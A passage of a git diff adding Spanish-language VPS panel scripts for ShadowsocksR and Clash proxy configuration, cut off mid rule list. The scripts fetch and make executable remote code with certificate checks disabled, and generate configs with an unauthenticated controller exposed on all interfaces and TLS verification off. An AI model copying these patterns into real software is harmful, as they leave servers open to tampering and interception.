inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] Inicio de inicio del servidor ShadowsocksR..." | tee -a ${ssr_log_file} && exit 1 + fi + else + echo -e "${Info} [$(date "+%Y-%m-%d %H:%M:%S %u %Z")] El proceso del servidor ShadowsocksR se ejecuta normalmente..." exit 0 + fi +} +crontab_monitor_ssr_cron_start(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + echo -e "\n* * * * * /bin/bash $file/ssrmu.sh monitor" >> "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ -z ${cron_config} ]]; then + echo -e "${Error} Fallo el arranque del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} El servidor ShadowsocksR esta ejecutando la monitorizacion del estado con exito!" + fi +} +crontab_monitor_ssr_cron_stop(){ + crontab -l > "$file/crontab.bak" + sed -i "/ssrmu.sh monitor/d" "$file/crontab.bak" + crontab "$file/crontab.bak" + rm -r "$file/crontab.bak" + cron_config=$(crontab -l | grep "ssrmu.sh monitor") + if [[ ! -z ${cron_config} ]]; then + echo -e "${Error} Fallo la detencion del servidor ShadowsocksR!" && exit 1 + else + echo -e "${Info} La supervision del estado de ejecucion del servidor de ShadowsocksR se detiene correctamente!" + fi +} +Update_Shell(){ +clear +msg -bar + echo -e "La version actual es [ ${sh_ver} ], Comienza a detectar la ultima version ..." + sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && sh_new_ver=$(wget --no-check-certificate -qO- "https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh"|grep 'sh_ver="'|awk -F "=" '{print $NF}'|sed 's/\"//g'|head -1) && sh_new_type="github" + [[ -z ${sh_new_ver} ]] && echo -e "${Error} Ultima version de deteccion !" && exit 0 + if [[ ${sh_new_ver} != ${sh_ver} ]]; then + echo -e "Descubrir nueva version[ ${sh_new_ver} ], Esta actualizado?[Y/n]" +msg -bar + stty erase '^H' && read -p "(Predeterminado: y):" yn + [[ -z "${yn}" ]] && yn="y" + if [[ ${yn} == [Yy] ]]; then + cd "${file}" + if [[ $sh_new_type == "github" ]]; then + wget -N --no-check-certificate https://raw.githubusercontent.com/hybtoy/ssrrmu/master/ssrrmu.sh && chmod +x ssrrmu.sh + fi + echo -e "El script ha sido actualizado a la ultima version.[ ${sh_new_ver} ] !" + else + echo && echo " Cancelado ..." && echo + fi + else + echo -e "Actualmente es la ultima version.[ ${sh_new_ver} ] !" + fi + exit 0 + +} +# Mostrar el estado del menu +menu_status(){ +msg -bar + if [[ -e ${ssr_folder} ]]; then + check_pid + if [[ ! -z "${PID}" ]]; then + echo -e " VPS-MX By @Kalix1\n Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} y ${Green_font_prefix}Iniciado${Font_color_suffix}" + else + echo -e " Estado actual: ${Green_font_prefix}Instalado${Font_color_suffix} pero ${Red_font_prefix}no comenzo${Font_color_suffix}" + fi + cd "${ssr_folder}" + else + echo -e " Estado actual: ${Red_font_prefix}No Instalado${Font_color_suffix}" + fi +} +check_sys +[[ ${release} != "debian" ]] && [[ ${release} != "ubuntu" ]] && [[ ${release} != "centos" ]] && echo -e "${Error} el script no es compatible con el sistema actual ${release} !" && exit 1 +action=$1 +if [[ "${action}" == "clearall" ]]; then + Clear_transfer_all +elif [[ "${action}" == "monitor" ]]; then + crontab_monitor_ssr +else +echo -e "\033[1;37m =====>>►► 🐲 PANEL VPS•MX 🐲 ◄◄<<===== \033[1;37m" +msg -bar +echo -e " Controlador de ShadowSock-R ${Red_font_prefix}[v${sh_ver}]${Font_color_suffix} +$(msg -bar) + ${Green_font_prefix}1.${Font_color_suffix} Instalar ShadowsocksR + ${Green_font_prefix}2.${Font_color_suffix} Actualizar ShadowsocksR + ${Green_font_prefix}3.${Font_color_suffix} Desinstalar ShadowsocksR + ${Green_font_prefix}4.${Font_color_suffix} Instalar libsodium (chacha20) +————————————— + ${Green_font_prefix}5.${Font_color_suffix} Verifique la informacion de la cuenta + ${Green_font_prefix}6.${Font_color_suffix} Mostrar la informacion de conexion + ${Green_font_prefix}7.${Font_color_suffix} Agregar/Modificar/Eliminar la configuracion del usuario + ${Green_font_prefix}8.${Font_color_suffix} Modificar manualmente la configuracion del usuario + ${Green_font_prefix}9.${Font_color_suffix} Borrar el trafico usado +—————————————— + ${Green_font_prefix}10.${Font_color_suffix} Iniciar ShadowsocksR + ${Green_font_prefix}11.${Font_color_suffix} Detener ShadowsocksR + ${Green_font_prefix}12.${Font_color_suffix} Reiniciar ShadowsocksR + ${Green_font_prefix}13.${Font_color_suffix} Verificar Registro de ShadowsocksR +————————————— + ${Green_font_prefix}14.${Font_color_suffix} Otras Funciones + ${Green_font_prefix}15.${Font_color_suffix} Actualizar Script +$(msg -bar) + ${Green_font_prefix}16.${Font_color_suffix}${Red_font_prefix} SALIR" + + menu_status + msg -bar + stty erase '^H' && read -p "Porfavor seleccione una opcion [1-16]:" num + msg -bar +case "$num" in + 1) + Install_SSR + ;; + 2) + Update_SSR + ;; + 3) + Uninstall_SSR + ;; + 4) + Install_Libsodium + ;; + 5) + View_User + ;; + 6) + View_user_connection_info + ;; + 7) + Modify_Config + ;; + 8) + Manually_Modify_Config + ;; + 9) + Clear_transfer + ;; + 10) + Start_SSR + ;; + 11) + Stop_SSR + ;; + 12) + Restart_SSR + ;; + 13) + View_Log + ;; + 14) + Other_functions + ;; + 15) + Update_Shell + ;; + 16) + exit 1 + ;; + *) + echo -e "${Error} Porfavor use numeros del [1-16]" + msg -bar + ;; +esac +fi \ No newline at end of file diff --git a/Recursos/ClashForAndroidGLOBAL.sh b/Recursos/ClashForAndroidGLOBAL.sh new file mode 100644 index 0000000..ba23d17 --- /dev/null +++ b/Recursos/ClashForAndroidGLOBAL.sh @@ -0,0 +1,2280 @@ +#!/bin/sh + +clear&&clear +fun_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && IP="$MEU_IP2" || IP="$MEU_IP" +trojanport=`lsof -V -i tcp -P -n | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | grep trojan | awk '{print substr($9,3); }' > /tmp/trojan.txt && echo | cat /tmp/trojan.txt | tr '\n' ' ' > /bin/ejecutar/trojanports.txt && cat /bin/ejecutar/trojanports.txt`; +troport=$(cat /bin/ejecutar/trojanports.txt | sed 's/\s\+/,/g' | cut -d , -f1) +portFTP=$(lsof -V -i tcp -P -n | grep apache2 | grep -v "ESTABLISHED" |grep -v "COMMAND" | grep "LISTEN" | cut -d: -f2 | cut -d' ' -f1 | uniq) +portFTP=$(echo ${portFTP} | sed 's/\s\+/,/g' | cut -d , -f1) +} +#FUN_BAR +fun_bar () { +comando="$1" +_=$( $comando > /dev/null 2>&1 ) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" +for((i=0; i<20; i++)); do +echo -ne "\033[1;31m##" +sleep 0.5 +done +echo -ne "\033[1;33m]" +sleep 1s +echo ;tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m########################################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} + +install_ini () { +add-apt-repository universe +apt update -y; apt upgrade -y +clear +msg -bar3 +echo -e "\033[92m -- INSTALANDO PAQUETES NECESARIOS -- " +msg -bar3 +#bc +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] || apt-get install golang-go -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "golang-go"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install golang-go............ $ESTATUS " +#jq +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || apt-get install jq -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "jq"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install jq................... $ESTATUS " +#curl +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || apt-get install curl -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "curl"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install curl................. $ESTATUS " +#npm +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || apt-get install npm -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "npm"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install npm.................. $ESTATUS " +#nodejs +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || apt-get install nodejs -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "nodejs"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install nodejs............... $ESTATUS " +#socat +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || apt-get install socat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "socat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install socat................ $ESTATUS " +#netcat +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || apt-get install netcat -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "netcat"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install netcat............... $ESTATUS " +#net-tools +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || apt-get net-tools -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "net-tools"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install net-tools............ $ESTATUS " +#figlet +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || apt-get install figlet -y &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] || ESTATUS=`echo -e "\033[91mFALLO DE INSTALACION"` &>/dev/null +[[ $(dpkg --get-selections|grep -w "figlet"|head -1) ]] && ESTATUS=`echo -e "\033[92mINSTALADO"` &>/dev/null +echo -e "\033[97m # apt-get install figlet............... $ESTATUS " +msg -bar3 +echo -e "\033[92m La instalacion de paquetes necesarios a finalizado" +msg -bar3 +echo -e "\033[97m Si la instalacion de paquetes tiene fallas" +echo -ne "\033[97m Puede intentar de nuevo [s/n]: " +read inst +[[ $inst = @(s|S|y|Y) ]] && install_ini +echo -ne "\033[97m Deseas agregar Menu Clash Rapido [s/n]: " +read insta +[[ $insta = @(s|S|y|Y) ]] && enttrada +} + + +fun_insta(){ +fun_ip +install_ini +msg -bar3 +killall clash 1> /dev/null 2> /dev/null +echo -e " ➣ Creando Directorios y Archivos" +msg -bar3 +[[ -d /root/.config ]] && rm -rf /root/.config/* || mkdir /root/.config +mkdir /root/.config/clash 1> /dev/null 2> /dev/null +last_version=$(curl -Ls "https://api.github.com/repos/emirjorge/clash-core/releases/latest" | grep '"tag_name":' | sed -E 's/.*"([^"]+)".*/\1/') +arch=$(arch) +if [[ $arch == "x86_64" || $arch == "x64" || $arch == "amd64" ]]; then + arch="amd64" +elif [[ $arch == "aarch64" || $arch == "arm64" ]]; then + arch="arm64" +else + arch="amd64" +fi +wget -N --no-check-certificate -O /root/.config/clash/clash.gz https://github.com/emirjorge/clash-core/releases/download/${last_version}/clash-linux-${arch}-${last_version}.gz +gzip -d /root/.config/clash/clash.gz +chmod +x /root/.config/clash/clash +echo -e " ➣ Clonando Repositorio Original Dreamacro " +go get -u -v github.com/Dreamacro/clash +clear +} + + + +#[[ -e /bin/ejecutar/msg source msg +source msg +numero='^[0-9]+$' +hora=$(printf '%(%H:%M:%S)T') +fecha=$(printf '%(%D)T') +[[ ! -d /bin/ejecutar/clashFiles ]] && mkdir /bin/ejecutar/clashFiles +clashFiles='/bin/ejecutar/clashFiles/' + +INITClash(){ +msg -bar +conFIN +read -p "Ingrese Nombre del Poster WEB de la configuracion: " cocolon +[[ -e /root/.config/clash/config.yaml ]] && sed -i "s%_dAtE%${fecha}%g" /root/.config/clash/config.yaml +[[ -e /root/.config/clash/config.yaml ]] && sed -i "s/_h0rA/${hora}/g" /root/.config/clash/config.yaml +cp /root/.config/clash/config.yaml /var/www/html/$cocolon.yaml && chmod +x /var/www/html/$cocolon.yaml +service apache2 restart +echo -e "[\033[1;31m-\033[1;33m]\033[1;31m \033[1;33m" +echo -e "\033[1;33mClash Server Instalado" +echo -e "-------------------------------------------------------" +echo -e " \033[4;31mNOTA importante\033[0m" +echo -e "Recuerda Descargar el Fichero, o cargarlo como URL!!" +echo -e "-------------------------------------------------------" +echo -e " \033[0;31mSi Usas Clash For Android, Ultima Version " +echo -e " Para luego usar el Link del Fichero, y puedas ." +echo -e " Descargarlo desde cualquier sitio con acceso WEB" +echo -e " Link Clash Valido por 30 minutos " +echo -e " Link : \033[1;42m http://$IP:${portFTP}/$cocolon.yaml\033[0m" +echo -e "-------------------------------------------------------" +#read -p "PRESIONA ENTER PARA CARGAR ONLINE" +echo -e "\033[1;32mRuta de Configuracion: /root/.config/clash/config.yaml" +echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m" +scr=$(echo $(($RANDOM*3))|head -c 3) +unset yesno +echo -e " ENLACE VALIDO POR 30 MINUTOS? " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +killall clash > /dev/null &1>&2 +screen -dmS clashse_$cocolon /root/.config/clash/clash +echo '#!/bin/bash -e' > /root/.config/clash/$cocolon.sh +echo "sleep 1800s" >> /root/.config/clash/$cocolon.sh && echo -e " ACTIVO POR 30 MINUTOS " || echo " Validacion Incorrecta " +echo "mv /var/www/html/$cocolon.yaml ${clashFiles}$cocolon.yaml" >> /root/.config/clash/$cocolon.sh +echo 'echo "Fichero removido a ${clashFiles}$cocolon.yaml"' >> /root/.config/clash/$cocolon.sh +echo "service apache2 restart" >> /root/.config/clash/$cocolon.sh +echo "rm -f /root/.config/clash/$cocolon.sh" >> /root/.config/clash/$cocolon.sh +echo 'exit' >> /root/.config/clash/$cocolon.sh && screen -dmS clash${scr} bash /root/.config/clash/$cocolon.sh +} +echo -e "Proceso Finalizado" + +} + +configINIT_rule () { +mode=$1 +[[ -z ${mode} ]] && exit +unset tropass +echo '#SCRIPT OFICIAL ChumoGH|Plus +# Formato Creado por @drowkid01 | +593987072611 Whatsapp Personal +# Creado el _dAtE - _h0rA +port: 8080 +socks-port: 7891 +redir-port: 7892 +allow-lan: true +bind-address: "*" +mode: rule +log-level: info +external-controller: "0.0.0.0:9090" +secret: "" + +dns: + enable: true + listen: :53 + enhanced-mode: fake-ip + nameserver: + - 114.114.114.114 + - 223.5.5.5 + - 8.8.8.8 + - 45.71.185.100 + - 204.199.156.138 + - 1.1.1.1 + fallback: [] + fake-ip-filter: + - +.stun.*.* + - +.stun.*.*.* + - +.stun.*.*.*.* + - +.stun.*.*.*.*.* + - "*.n.n.srv.nintendo.net" + - +.stun.playstation.net + - xbox.*.*.microsoft.com + - "*.*.xboxlive.com" + - "*.msftncsi.com" + - "*.msftconnecttest.com" + - WORKGROUP +tun: + enable: true + stack: gvisor + auto-route: true + auto-detect-interface: true + dns-hijack: + - any:53 + +# Clash for Windows +cfw-bypass: + - qq.com + - music.163.com + - "*.music.126.net" + - localhost + - 127.* + - 10.* + - 172.16.* + - 172.17.* + - 172.18.* + - 172.19.* + - 172.20.* + - 172.21.* + - 172.22.* + - 172.23.* + - 172.24.* + - 172.25.* + - 172.26.* + - 172.27.* + - 172.28.* + - 172.29.* + - 172.30.* + - 172.31.* + - 192.168.* + - +cfw-latency-timeout: 5000 + +proxy-groups: +- name: "ChumoGH-ADM" + type: select + proxies: ' > /root/.config/clash/config.yaml +#sed -i "s/+/'/g" /root/.config/clash/config.yaml +foc=1 +[[ -e /usr/local/etc/trojan/config.json ]] && ConfTrojINI +unset yesno +foc=1 +[[ -e /etc/v2ray/config.json ]] && ConfV2RINI +unset yesno +foc=1 +[[ -e /etc/xray/config.json ]] && ConfXRINI +} + +configINIT_global () { +mode=$1 +[[ -z ${mode} ]] && exit +unset tropass +echo '#SCRIPT OFICIAL ChumoGH|Plus +# Formato Creado por @drowkid01 | +593987072611 Whatsapp Personal +# Creado el _dAtE - _h0rA +port: 8080 +socks-port: 7891 +redir-port: 7892 +allow-lan: true +bind-address: "*" +mode: global +log-level: info +external-controller: "0.0.0.0:9090" +secret: "" +dns: + enable: true + listen: :53 + enhanced-mode: fake-ip + nameserver: + - 114.114.114.114 + - 223.5.5.5 + - 8.8.8.8 + - 45.71.185.100 + - 204.199.156.138 + - 1.1.1.1 + fallback: [] + fake-ip-filter: + - +.stun.*.* + - +.stun.*.*.* + - +.stun.*.*.*.* + - +.stun.*.*.*.*.* + - "*.n.n.srv.nintendo.net" + - +.stun.playstation.net + - xbox.*.*.microsoft.com + - "*.*.xboxlive.com" + - "*.msftncsi.com" + - "*.msftconnecttest.com" + - WORKGROUP +tun: + enable: true + stack: gvisor + auto-route: true + auto-detect-interface: true + dns-hijack: + - any:53 + +# Clash for Windows +cfw-bypass: + - qq.com + - music.163.com + - "*.music.126.net" + - localhost + - 127.* + - 10.* + - 172.16.* + - 172.17.* + - 172.18.* + - 172.19.* + - 172.20.* + - 172.21.* + - 172.22.* + - 172.23.* + - 172.24.* + - 172.25.* + - 172.26.* + - 172.27.* + - 172.28.* + - 172.29.* + - 172.30.* + - 172.31.* + - 192.168.* + - +cfw-latency-timeout: 5000 + ' > /root/.config/clash/config.yaml +#sed -i "s/+/'/g" /root/.config/clash/config.yaml +foc=1 +[[ -e /usr/local/etc/trojan/config.json ]] && ConfTrojINI +unset yesno +foc=1 +[[ -e /etc/v2ray/config.json ]] && ConfV2RINI +unset yesno +foc=1 +[[ -e /etc/xray/config.json ]] && ConfXRINI +} + +proxyTRO() { +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proTRO+="- name: $1\n type: trojan\n server: ${IP}\n port: ${troport}\n password: "$2"\n udp: true\n sni: $3\n alpn:\n - h2\n - http/1.1\n skip-cert-verify: true\n\n" + } + +ConfTrojINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG TROJAN " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p " [S/N]: " yesno + +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL TROJAN CLASH " +read -p ": " nameperfil +msg -bar3 +[[ -z ${UUID} ]] && view_usert || { +echo -e " USER ${Usr} : ${UUID}" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosni +msg -bar3 +proxyTRO ${nameperfil} ${UUID} ${trosni} +ConfTrojINI + } +} + +proxyV2R() { +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proV2R+="- name: $1\n type: vmess\n server: ${IP}\n port: $7\n uuid: $3\n alterId: $4\n cipher: auto\n udp: true\n tls: true\n skip-cert-verify: true\n servername: $2\n network: $5\n ws-opts: \n path: $6\n headers:\n Host: $2\n \n\n" + } + +proxyV2Rgprc() { +#config=/usr/local/x-ui/bin/config.json +#cat $config | jq .inbounds[].settings.clients | grep id +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proV2R+=" +- name: $1\n server: ${IP}\n port: $7\n type: vmess\n uuid: $3\n alterId: $4\n cipher: auto\n tls: true\n skip-cert-verify: true\n network: grpc\n servername: $2\n grpc-opts:\n grpc-mode: gun\n grpc-service-name: $6\n udp: true \n\n" + } +proxyXR() { +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proXR+="- name: $1\n type: vmess\n server: ${IP}\n port: $7\n uuid: $3\n alterId: $4\n cipher: auto\n udp: true\n tls: true\n skip-cert-verify: true\n servername: $2\n network: $5\n ws-opts: \n path: $6\n headers:\n Host: $2\n \n\n" + } + +proxyXRgprc() { +#config=/usr/local/x-ui/bin/config.json +#cat $config | jq .inbounds[].settings.clients | grep id +#proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +fun_ip +[[ $mode = 1 ]] && echo -e " - $1" >> /root/.config/clash/config.yaml +proXR+=" +- name: $1\n server: ${IP}\n port: $7\n type: vmess\n uuid: $3\n alterId: $4\n cipher: auto\n tls: true\n skip-cert-verify: true\n network: grpc\n servername: $2\n grpc-opts:\n grpc-mode: gun\n grpc-service-name: $6\n udp: true \n\n" + } + +ConfV2RINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG V2RAY " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL V2RAY CLASH " +read -p ": " nameperfil +msg -bar3 +[[ -z ${uid} ]] && view_user || { +echo -e " USER ${ps}" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosni +msg -bar3 + + ps=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uid=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiid=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + add=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && add=$(wget -qO- ipv4.icanhazip.com) + host=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + net=$(jq '.inbounds[].streamSettings.network' $config) + parche=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $path = null ]] && parche='' + v2port=$(jq '.inbounds[].port' $config) + tls=$(jq '.inbounds[].streamSettings.security' $config) + [[ $net = '"grpc"' ]] && path=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || path=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + +[[ $net = '"grpc"' ]] && { +proxyV2Rgprc ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${path} ${v2port} +} || { +proxyV2R ${nameperfil} ${trosni} ${uid} ${aluuiid} ${net} ${parche} ${v2port} +} + +ConfV2RINI + } +} + +ConfXRINI() { +echo -e " DESEAS AÑADIR TU ${foc} CONFIG XRAY " +while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do +read -p "[S/N]: " yesno +tput cuu1 && tput dl1 +done +[[ ${yesno} = @(s|S|y|Y) ]] && { +unset yesno +foc=$(($foc + 1)) +echo -ne "\033[1;33m ➣ PERFIL XRAY CLASH " +read -p ": " nameperfilX +msg -bar3 +[[ -z ${uidX} ]] && _view_userXR || { +echo -e " USER ${ps} XRAY" +msg -bar3 +} +echo -ne "\033[1;33m ➣ SNI o HOST " +read -p ": " trosniX +msg -bar3 + psX=$(jq .inbounds[].settings.clients[$opcion].email $config) && [[ $ps = null ]] && ps="default" + uidX=$(jq .inbounds[].settings.clients[$opcion].id $config) + aluuiidX=$(jq .inbounds[].settings.clients[$opcion].alterId $config) + addX=$(jq '.inbounds[].domain' $config) && [[ $add = null ]] && addX=$(wget -qO- ipv4.icanhazip.com) + hostX=$(jq '.inbounds[].streamSettings.wsSettings.headers.Host' $config) && [[ $host = null ]] && host='' + netX=$(jq '.inbounds[].streamSettings.network' $config) + parcheX=$(jq -r .inbounds[].streamSettings.wsSettings.path $config) && [[ $pathX = null ]] && parcheX='' + v2portX=$(jq '.inbounds[].port' $config) + tlsX=$(jq '.inbounds[].streamSettings.security' $config) + [[ $netX = '"grpc"' ]] && pathX=$(jq '.inbounds[].streamSettings.grpcSettings.serviceName' $config) || pathX=$(jq '.inbounds[].streamSettings.wsSettings.path' $config) + addip=$(wget -qO- ifconfig.me) + +[[ $netX = '"grpc"' ]] && { +proxyXRgprc ${nameperfilX} ${trosniX} ${uidX} ${aluuiidX} ${netX} ${pathX} ${v2portX} +} || { +proxyXR ${nameperfilX} ${trosniX} ${uidX} ${aluuiidX} ${netX} ${parcheX} ${v2portX} +} + +ConfXRINI + } +} + +confRULE() { +[[ $mode = 1 ]] && echo -e ' + url: http://www.gstatic.com/generate_204 + interval: 300 + +################################### +# ChumoGH-ADM + +# By ChumoGH By CGH +- name: "【 ✵ 𝚂𝚎𝚛𝚟𝚎𝚛-𝙿𝚁𝙴𝙼𝙸𝚄𝙼 ✵ 】" + type: select + proxies: + - "ChumoGH-ADM" + +#- name: "【 📱 +593987072611 】" +# type: select +# proxies: +# - "ChumoGH-ADM" + +Rule: +# Unbreak +# > Google +- DOMAIN-SUFFIX,googletraveladservices.com,ChumoGH-ADM +- DOMAIN,dl.google.com,ChumoGH-ADM +- DOMAIN,mtalk.google.com,ChumoGH-ADM + +# Internet Service Providers ChumoGH-ADM 运营商劫持 +- DOMAIN-SUFFIX,17gouwuba.com,ChumoGH-ADM +- DOMAIN-SUFFIX,186078.com,ChumoGH-ADM +- DOMAIN-SUFFIX,189zj.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,285680.com,ChumoGH-ADM +- DOMAIN-SUFFIX,3721zh.com,ChumoGH-ADM +- DOMAIN-SUFFIX,4336wang.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,51chumoping.com,ChumoGH-ADM +- DOMAIN-SUFFIX,51mld.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,51mypc.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,58mingri.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,58mingtian.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,5vl58stm.com,ChumoGH-ADM +- DOMAIN-SUFFIX,6d63d3.com,ChumoGH-ADM +- DOMAIN-SUFFIX,7gg.cc,ChumoGH-ADM +- DOMAIN-SUFFIX,91veg.com,ChumoGH-ADM +- DOMAIN-SUFFIX,9s6q.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,adsame.com,ChumoGH-ADM +- DOMAIN-SUFFIX,aiclk.com,ChumoGH-ADM +- DOMAIN-SUFFIX,akuai.top,ChumoGH-ADM +- DOMAIN-SUFFIX,atplay.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,baiwanchuangyi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,beerto.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,beilamusi.com,ChumoGH-ADM +- DOMAIN-SUFFIX,benshiw.net,ChumoGH-ADM +- DOMAIN-SUFFIX,bianxianmao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,bryonypie.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cishantao.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cszlks.com,ChumoGH-ADM +- DOMAIN-SUFFIX,cudaojia.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dafapromo.com,ChumoGH-ADM +- DOMAIN-SUFFIX,daitdai.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dsaeerf.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dugesheying.com,ChumoGH-ADM +- DOMAIN-SUFFIX,dv8c1t.cn,ChumoGH-ADM +- DOMAIN-SUFFIX,echatu.com,ChumoGH-ADM +- DOMAIN-SUFFIX,erdoscs.com,ChumoGH-ADM +- DOMAIN-SUFFIX,fan-yong.com,ChumoGH-ADM +- 